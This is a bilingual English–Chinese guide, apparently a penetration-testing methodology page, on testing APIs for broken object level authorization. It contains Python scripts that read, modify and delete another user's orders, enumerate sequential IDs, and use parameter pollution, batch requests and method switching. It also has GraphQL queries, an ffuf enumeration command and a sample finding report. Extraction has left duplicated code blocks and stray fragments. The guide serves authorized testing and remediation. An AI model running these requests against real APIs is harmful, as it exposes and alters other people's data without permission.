testing-api-for-broken-object-level-authorization
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseTesting API for Broken Object Level Authorization
API破损对象级授权(BOLA)测试指南
When to Use
适用场景
- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies
- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested
- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data
- Validating that API endpoints enforce per-object authorization checks beyond just authentication
- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently
Do not use without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.
- 评估在URL路径、查询参数或请求体中使用对象标识符的REST或GraphQL API
- 开展OWASP API安全Top 10评估,其中必须测试API1:2023(BOLA)项
- 测试多租户SaaS应用,确保不同租户的用户无法互相访问数据
- 验证API端点除身份认证外,是否执行对象级授权校验
- 在新增端点后评估API,确保授权中间件被一致应用
禁止在未获得API所有者书面授权的情况下使用。BOLA测试涉及访问或尝试访问其他用户的数据,需要明确的许可。
Prerequisites
前置条件
- Written authorization specifying the target API endpoints and scope of testing
- At least two test accounts with different privilege levels and distinct data sets
- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy
- Authentication tokens (JWT, session cookies, API keys) for each test account
- API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints
- Python 3.10+ with library for scripted testing
requests - Autorize Burp extension installed for automated BOLA detection
- 明确目标API端点和测试范围的书面授权
- 至少两个具有不同权限级别和不同数据集的测试账户
- 配置为拦截代理的Burp Suite Professional或OWASP ZAP
- 每个测试账户的身份认证令牌(JWT、会话Cookie、API密钥)
- API文档(OpenAPI/Swagger规范)或可枚举端点的权限
- 安装了库的Python 3.10+环境,用于脚本化测试
requests - 安装Autorize Burp扩展,用于自动检测BOLA漏洞
Workflow
测试流程
Step 1: API Endpoint Discovery and Object ID Mapping
步骤1:API端点发现与对象ID映射
Enumerate all API endpoints and identify parameters that reference objects:
From OpenAPI/Swagger Specification:
bash
undefined枚举所有API端点并识别引用对象的参数:
从OpenAPI/Swagger规范提取:
bash
undefinedDownload and parse the OpenAPI spec
下载并解析OpenAPI规范
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
Extract all endpoints with path parameters
提取所有带路径参数的端点
curl -s https://target-api.example.com/api/docs/swagger.json |
python3 -c " import json, sys spec = json.load(sys.stdin) for path, methods in spec.get('paths', {}).items(): for method, details in methods.items(): if method in ('get','post','put','patch','delete'): params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')] if params: print(f'{method.upper()} {path} -> params: {params}') "
python3 -c " import json, sys spec = json.load(sys.stdin) for path, methods in spec.get('paths', {}).items(): for method, details in methods.items(): if method in ('get','post','put','patch','delete'): params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')] if params: print(f'{method.upper()} {path} -> params: {params}') "
**From Burp Suite Traffic:**
1. Browse the application as User A, exercising all features that involve data creation and retrieval
2. In Burp, go to Target > Site Map and filter for API paths (e.g., `/api/v1/`, `/graphql`)
3. Look for patterns: `/api/v1/users/{id}`, `/api/v1/orders/{order_id}`, `/api/v1/documents/{doc_uuid}`
4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values
**Classify Object ID Types:**
| ID Type | Example | Predictability | BOLA Risk |
|---------|---------|---------------|-----------|
| Sequential Integer | `/orders/1042` | High - increment/decrement | Critical |
| UUID v4 | `/orders/550e8400-e29b-41d4-a716-446655440000` | Low - random | Medium (if leaked) |
| Encoded/Hashed | `/orders/base64encodedvalue` | Medium - decode and predict | High |
| Composite | `/users/42/orders/1042` | High - multiple IDs to swap | Critical |
| Slug | `/profiles/john-doe` | Medium - guess usernames | High |curl -s https://target-api.example.com/api/docs/swagger.json |
python3 -c " import json, sys spec = json.load(sys.stdin) for path, methods in spec.get('paths', {}).items(): for method, details in methods.items(): if method in ('get','post','put','patch','delete'): params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')] if params: print(f'{method.upper()} {path} -> params: {params}') "
python3 -c " import json, sys spec = json.load(sys.stdin) for path, methods in spec.get('paths', {}).items(): for method, details in methods.items(): if method in ('get','post','put','patch','delete'): params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')] if params: print(f'{method.upper()} {path} -> params: {params}') "
**从Burp Suite流量提取:**
1. 以用户A身份浏览应用,使用所有涉及数据创建和检索的功能
2. 在Burp中,进入Target > Site Map,筛选API路径(如`/api/v1/`、`/graphql`)
3. 查找模式:`/api/v1/users/{id}`、`/api/v1/orders/{order_id}`、`/api/v1/documents/{doc_uuid}`
4. 记录对象ID格式:连续整数(可预测)、UUID(低可预测性)或编码值
**对象ID类型分类:**
| ID类型 | 示例 | 可预测性 | BOLA风险 |
|---------|---------|---------------|-----------|
| 连续整数 | `/orders/1042` | 高 - 可递增/递减 | 严重 |
| UUID v4 | `/orders/550e8400-e29b-41d4-a716-446655440000` | 低 - 随机生成 | 中等(若泄露) |
| 编码/哈希值 | `/orders/base64encodedvalue` | 中等 - 可解码并预测 | 高 |
| 复合ID | `/users/42/orders/1042` | 高 - 需交换多个ID | 严重 |
| 别名(Slug) | `/profiles/john-doe` | 中等 - 可猜测用户名 | 高 |Step 2: Baseline Request Capture with Authenticated User
步骤2:捕获已认证用户的基准请求
Capture legitimate requests for User A and User B:
python
import requests
BASE_URL = "https://target-api.example.com/api/v1"捕获用户A和用户B的合法请求:
python
import requests
BASE_URL = "https://target-api.example.com/api/v1"User A credentials
用户A凭证
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
User B credentials
用户B凭证
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
Step 1: Identify User A's objects
步骤1:识别用户A的对象
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"] # e.g., 1001
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # e.g., [5001, 5002]
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"] # 示例:1001
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # 示例:[5001, 5002]
Step 2: Identify User B's objects
步骤2:识别用户B的对象
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"] # e.g., 1002
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # e.g., [5003, 5004]
print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")
undefineduser_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"] # 示例:1002
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # 示例:[5003, 5004]
print(f"用户A(ID: {user_a_id}):订单 {user_a_order_ids}")
print(f"用户B(ID: {user_b_id}):订单 {user_b_order_ids}")
undefinedStep 3: BOLA Testing - Horizontal Privilege Escalation
步骤3:BOLA测试 - 横向权限提升
Attempt to access User B's objects using User A's authentication:
python
import json
results = []尝试使用用户A的身份认证信息访问用户B的对象:
python
import json
results = []Test 1: Access User B's profile with User A's token
测试1:使用用户A的令牌访问用户B的个人资料
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
"test": "Access other user profile",
"endpoint": f"GET /users/{user_b_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200,
"data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
"test": "访问其他用户个人资料",
"endpoint": f"GET /users/{user_b_id}",
"auth": "用户A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200,
"data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})
Test 2: Access User B's orders with User A's token
测试2:使用用户A的令牌访问用户B的订单
for order_id in user_b_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
results.append({
"test": f"Access other user order {order_id}",
"endpoint": f"GET /orders/{order_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200
})
for order_id in user_b_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
results.append({
"test": f"访问其他用户订单 {order_id}",
"endpoint": f"GET /orders/{order_id}",
"auth": "用户A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200
})
Test 3: Modify User B's order with User A's token
测试3:使用用户A的令牌修改用户B的订单
resp = requests.patch(
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
headers=user_a_headers,
json={"status": "cancelled"}
)
results.append({
"test": "Modify other user order",
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
resp = requests.patch(
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
headers=user_a_headers,
json={"status": "cancelled"}
)
results.append({
"test": "修改其他用户订单",
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
"auth": "用户A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
Test 4: Delete User B's resource with User A's token
测试4:使用用户A的令牌删除用户B的资源
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
"test": "Delete other user order",
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
"test": "删除其他用户订单",
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
"auth": "用户A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
Print results
打印测试结果
for r in results:
status = "VULNERABLE" if r["vulnerable"] else "SECURE"
print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
undefinedfor r in results:
status = "存在漏洞" if r["vulnerable"] else "安全"
print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
undefinedStep 4: Advanced BOLA Techniques
步骤4:高级BOLA测试技巧
Test for less obvious BOLA patterns:
python
undefined测试不太明显的BOLA模式:
python
undefinedTechnique 1: Parameter pollution - send both IDs
技巧1:参数污染 - 同时发送两个ID
resp = requests.get(
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")
resp = requests.get(
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
headers=user_a_headers
)
print(f"参数污染测试:{resp.status_code}")
Technique 2: JSON body object ID override
技巧2:JSON请求体对象ID覆盖
resp = requests.post(
f"{BASE_URL}/orders/details",
headers=user_a_headers,
json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")
resp = requests.post(
f"{BASE_URL}/orders/details",
headers=user_a_headers,
json={"order_id": user_b_order_ids[0]}
)
print(f"请求体ID覆盖测试:{resp.status_code}")
Technique 3: Array of IDs - include other user's IDs in batch request
技巧3:ID数组 - 在批量请求中包含其他用户的ID
resp = requests.post(
f"{BASE_URL}/orders/batch",
headers=user_a_headers,
json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")
resp = requests.post(
f"{BASE_URL}/orders/batch",
headers=user_a_headers,
json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"批量ID包含测试:{resp.status_code},返回 {len(resp.json().get('orders',[]))} 条订单")
Technique 4: Numeric ID manipulation for sequential IDs
技巧4:数值ID操纵(针对连续ID)
for offset in range(-5, 6):
test_id = user_a_order_ids[0] + offset
if test_id not in user_a_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
if resp.status_code == 200:
owner = resp.json().get("user_id", "unknown")
if str(owner) != str(user_a_id):
print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")
for offset in range(-5, 6):
test_id = user_a_order_ids[0] + offset
if test_id not in user_a_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
if resp.status_code == 200:
owner = resp.json().get("user_id", "unknown")
if str(owner) != str(user_a_id):
print(f"BOLA漏洞:订单 {test_id} 属于用户 {owner},可被用户A访问")
Technique 5: Swap object ID in nested resource paths
技巧5:嵌套资源路径中的对象ID替换
resp = requests.get(
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
headers=user_a_headers
)
print(f"Nested resource BOLA: {resp.status_code}")
resp = requests.get(
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
headers=user_a_headers
)
print(f"嵌套资源BOLA测试:{resp.status_code}")
Technique 6: Method switching - GET may be blocked but PUT allowed
技巧6:方法切换 - GET被拦截但PUT可能允许
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
resp = requests.request(
method,
f"{BASE_URL}/users/{user_b_id}/settings",
headers=user_a_headers,
json={"notifications": False} if method in ('PUT', 'PATCH') else None
)
if resp.status_code not in (401, 403, 405):
print(f"Method {method} on other user settings: {resp.status_code}")
undefinedfor method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
resp = requests.request(
method,
f"{BASE_URL}/users/{user_b_id}/settings",
headers=user_a_headers,
json={"notifications": False} if method in ('PUT', 'PATCH') else None
)
if resp.status_code not in (401, 403, 405):
print(f"对其他用户设置使用 {method} 方法:{resp.status_code}")
undefinedStep 5: Automated BOLA Detection with Autorize (Burp Suite)
步骤5:使用Autorize(Burp Suite)自动检测BOLA
Configure Autorize for automated detection:
- Install Autorize from the BApp Store in Burp Suite Professional
- In the Autorize tab, paste User B's authentication cookie or header
- Configure the interception filters:
- Include: (only API paths)
.*\/api\/.* - Exclude: (skip static assets)
.*\.(js|css|png|jpg)$
- Include:
- Set the enforcement detector:
- Add conditions where response length or status code differs between User A and User B
- Mark as "enforced" if User A gets 403/401 for User B's resources
- Mark as "bypassed" if User A gets 200 with User B's data
- Browse the application as User A; Autorize automatically replays each request with User B's token
- Review the Autorize results table:
- Green = Authorization enforced (secure)
- Red = Authorization bypassed (BOLA vulnerability)
- Orange = Needs manual review (ambiguous response)
配置Autorize进行自动检测:
- 在Burp Suite Professional的BApp商店安装Autorize扩展
- 在Autorize标签页中,粘贴用户B的身份认证Cookie或请求头
- 配置拦截过滤器:
- 包含:(仅API路径)
.*\/api\/.* - 排除:(跳过静态资源)
.*\.(js|css|png|jpg)$
- 包含:
- 设置强制检测器:
- 添加用户A和用户B的响应长度或状态码不同的条件
- 如果用户A访问用户B的资源时收到403/401,标记为“已授权”
- 如果用户A访问用户B的资源时收到200并获取数据,标记为“已绕过”
- 以用户A身份浏览应用;Autorize会自动使用用户B的令牌重放每个请求
- 查看Autorize结果表:
- 绿色 = 授权已强制执行(安全)
- 红色 = 授权已绕过(存在BOLA漏洞)
- 橙色 = 需要手动复核(响应不明确)
Step 6: GraphQL BOLA Testing
步骤6:GraphQL BOLA测试
graphql
undefinedgraphql
undefinedTest BOLA in GraphQL queries using node/ID relay pattern
使用node/ID中继模式测试GraphQL查询中的BOLA漏洞
User A queries User B's order by global relay ID
用户A通过全局中继ID查询用户B的订单
query {
node(id: "T3JkZXI6NTAwMw==") { # Base64 of "Order:5003" (User B's)
... on Order {
id
totalAmount
shippingAddress {
street
city
}
items {
productName
quantity
}
}
}
}
query {
node(id: "T3JkZXI6NTAwMw==") { # "Order:5003"的Base64编码(用户B的订单)
... on Order {
id
totalAmount
shippingAddress {
street
city
}
items {
productName
quantity
}
}
}
}
Test nested object access through relationships
通过关联关系测试嵌套对象访问
query {
user(id: "1002") { # User B's ID
email
phoneNumber
orders {
edges {
node {
id
totalAmount
paymentMethod {
lastFourDigits
}
}
}
}
}
}
undefinedquery {
user(id: "1002") { # 用户B的ID
email
phoneNumber
orders {
edges {
node {
id
totalAmount
paymentMethod {
lastFourDigits
}
}
}
}
}
}
undefinedKey Concepts
核心概念
| Term | Definition |
|---|---|
| BOLA | Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request |
| IDOR | Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks |
| Horizontal Privilege Escalation | Accessing resources belonging to another user at the same privilege level by manipulating object identifiers |
| Vertical Privilege Escalation | Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints) |
| Object ID Enumeration | Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values) |
| Autorize | A Burp Suite extension that automates authorization testing by replaying requests with different user tokens |
| 术语 | 定义 |
|---|---|
| BOLA | 破损对象级授权(OWASP API1:2023)- API未验证已认证用户是否有权访问请求中引用的特定对象 |
| IDOR | 不安全直接对象引用 - 密切相关的术语,指应用使用用户可控输入直接访问对象而不进行授权校验 |
| 横向权限提升 | 通过操纵对象标识符,访问同一权限级别下其他用户的资源 |
| 纵向权限提升 | 访问或使用更高权限级别限制的资源或功能(如普通用户访问管理员端点) |
| 对象ID枚举 | 通过分析ID格式(连续整数、UUID模式、编码值)预测有效的对象标识符 |
| Autorize | Burp Suite扩展,通过使用不同用户令牌重放请求来自动检测授权执行情况 |
Tools & Systems
工具与系统
- Burp Suite Professional: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing
- OWASP ZAP: Open-source alternative with Access Control Testing add-on for authorization boundary testing
- Autorize: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts
- Postman: API testing platform for crafting and replaying requests with different authentication tokens across collections
- ffuf: Web fuzzer that can enumerate object IDs at scale:
ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"
- Burp Suite Professional:拦截代理,用于捕获和操纵API请求;配合Autorize扩展自动测试BOLA漏洞
- OWASP ZAP:开源替代工具,通过Access Control Testing插件进行授权边界测试
- Autorize:Burp扩展,通过在不同用户上下文下重放请求,自动检测授权执行情况
- Postman:API测试平台,用于在集合中使用不同身份认证令牌编写和重放请求
- ffuf:Web模糊测试工具,可大规模枚举对象ID:
ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"
Common Scenarios
常见场景
Scenario: E-Commerce API BOLA Assessment
场景:电商API BOLA评估
Context: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).
Approach:
- Map all endpoints from the Swagger spec at : identify 47 endpoints, 23 of which take object IDs
/api/docs - Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist
- Replace User A's object IDs with User B's IDs systematically across all 23 endpoints
- Find that returns any order regardless of ownership (BOLA on read)
GET /api/v1/orders/{id} - Find that allows modifying any user's address (BOLA on write)
PATCH /api/v1/addresses/{id} - Find that leaks payment card last-four digits for any user
GET /api/v1/users/{id}/payment-methods - Test batch endpoint - accepts array of order IDs and exports all without ownership check
POST /api/v1/orders/export - Verify that correctly returns 403 for non-owned orders (authorization enforced)
DELETE /api/v1/orders/{id}
Pitfalls:
- Only testing GET requests and missing BOLA in PUT/PATCH/DELETE methods that allow data modification or destruction
- Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters
- Not testing nested resource paths where authorization may be checked on the parent but not the child resource
- Missing BOLA in bulk/batch endpoints that accept arrays of object IDs
- Not considering that different API versions (v1 vs v2) may have different authorization implementations
背景:某电商平台为其移动应用提供REST API,API使用连续整数ID标识订单、用户和地址。提供两个测试账户:普通客户(用户A,ID 1001)和另一个客户(用户B,ID 1002)。
测试方法:
- 从的Swagger规范中映射所有端点:识别出47个端点,其中23个包含对象ID参数
/api/docs - 捕获用户A访问自身资源的请求:个人资料、订单、地址、支付方式、心愿单
- 在所有23个端点中系统性地将用户A的对象ID替换为用户B的ID
- 发现可返回任意订单,无论归属(读取型BOLA漏洞)
GET /api/v1/orders/{id} - 发现允许修改任意用户的地址(写入型BOLA漏洞)
PATCH /api/v1/addresses/{id} - 发现泄露任意用户的支付卡后四位
GET /api/v1/users/{id}/payment-methods - 测试批量端点- 接受订单ID数组并导出所有订单,无归属校验
POST /api/v1/orders/export - 验证对非归属订单正确返回403(授权已执行)
DELETE /api/v1/orders/{id}
常见误区:
- 仅测试GET请求,忽略PUT/PATCH/DELETE方法中可能存在的BOLA漏洞,这些方法允许修改或销毁数据
- 假设UUID可防止BOLA - UUID的可预测性较低,但可能在API响应、日志或URL参数中泄露
- 未测试嵌套资源路径,这类路径可能仅对父资源进行授权校验,而忽略子资源
- 忽略批量/批量处理端点中的BOLA漏洞,这些端点接受对象ID数组
- 未考虑不同API版本(v1 vs v2)可能有不同的授权实现
Output Format
输出报告格式
undefinedundefinedFinding: Broken Object Level Authorization in Order API
漏洞发现:订单API存在破损对象级授权(BOLA)漏洞
ID: API-BOLA-001
Severity: High (CVSS 7.5)
OWASP API: API1:2023 - Broken Object Level Authorization
Affected Endpoints:
- GET /api/v1/orders/{id}
- PATCH /api/v1/addresses/{id}
- GET /api/v1/users/{id}/payment-methods
- POST /api/v1/orders/export
Description:
The API does not enforce object-level authorization on order retrieval,
address modification, payment method viewing, or order export endpoints.
An authenticated user can access or modify any other user's resources by
substituting object IDs in the request. Sequential integer IDs make
enumeration trivial.
Proof of Concept:
- Authenticate as User A (ID 1001): POST /api/v1/auth/login
- Retrieve User A's order: GET /api/v1/orders/5001 -> 200 OK (legitimate)
- Access User B's order: GET /api/v1/orders/5003 -> 200 OK (BOLA - returns full order details)
- Modify User B's address: PATCH /api/v1/addresses/2002 -> 200 OK (BOLA - address changed)
Impact:
- Read access to all 850,000+ customer orders including shipping addresses and order contents
- Write access to any customer's delivery address, enabling package redirection
- Exposure of partial payment card data for all customers
Remediation:
- Implement object-level authorization middleware that verifies the authenticated user owns the requested resource
- Use authorization checks at the data access layer:
WHERE order.user_id = authenticated_user.id - Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)
- Add authorization tests to the CI/CD pipeline for every endpoint that accepts object IDs
- Implement rate limiting per user to slow enumeration attempts
undefinedID:API-BOLA-001
严重程度:高(CVSS 7.5)
OWASP API分类:API1:2023 - 破损对象级授权
受影响端点:
- GET /api/v1/orders/{id}
- PATCH /api/v1/addresses/{id}
- GET /api/v1/users/{id}/payment-methods
- POST /api/v1/orders/export
描述:
API未对订单检索、地址修改、支付方式查看或订单导出端点执行对象级授权校验。已认证用户可通过替换请求中的对象ID,访问或修改任意其他用户的资源。连续整数ID使得枚举变得极为简单。
漏洞证明(PoC):
- 以用户A(ID 1001)身份认证:POST /api/v1/auth/login
- 检索用户A的订单:GET /api/v1/orders/5001 -> 200 OK(合法请求)
- 访问用户B的订单:GET /api/v1/orders/5003 -> 200 OK(BOLA漏洞 - 返回完整订单详情)
- 修改用户B的地址:PATCH /api/v1/addresses/2002 -> 200 OK(BOLA漏洞 - 地址已修改)
影响:
- 可读取85万+客户的所有订单,包括配送地址和订单内容
- 可修改任意客户的配送地址,导致包裹被重定向
- 暴露所有客户的部分支付卡数据
修复建议:
- 实现对象级授权中间件,验证已认证用户是否拥有请求的资源
- 在数据访问层添加授权校验:
WHERE order.user_id = authenticated_user.id - 将连续整数ID替换为UUID,降低可预测性(深度防御,不能单独作为修复方案)
- 为每个接受对象ID的端点在CI/CD流水线中添加授权测试
- 为每个用户实现速率限制,减缓枚举尝试
undefined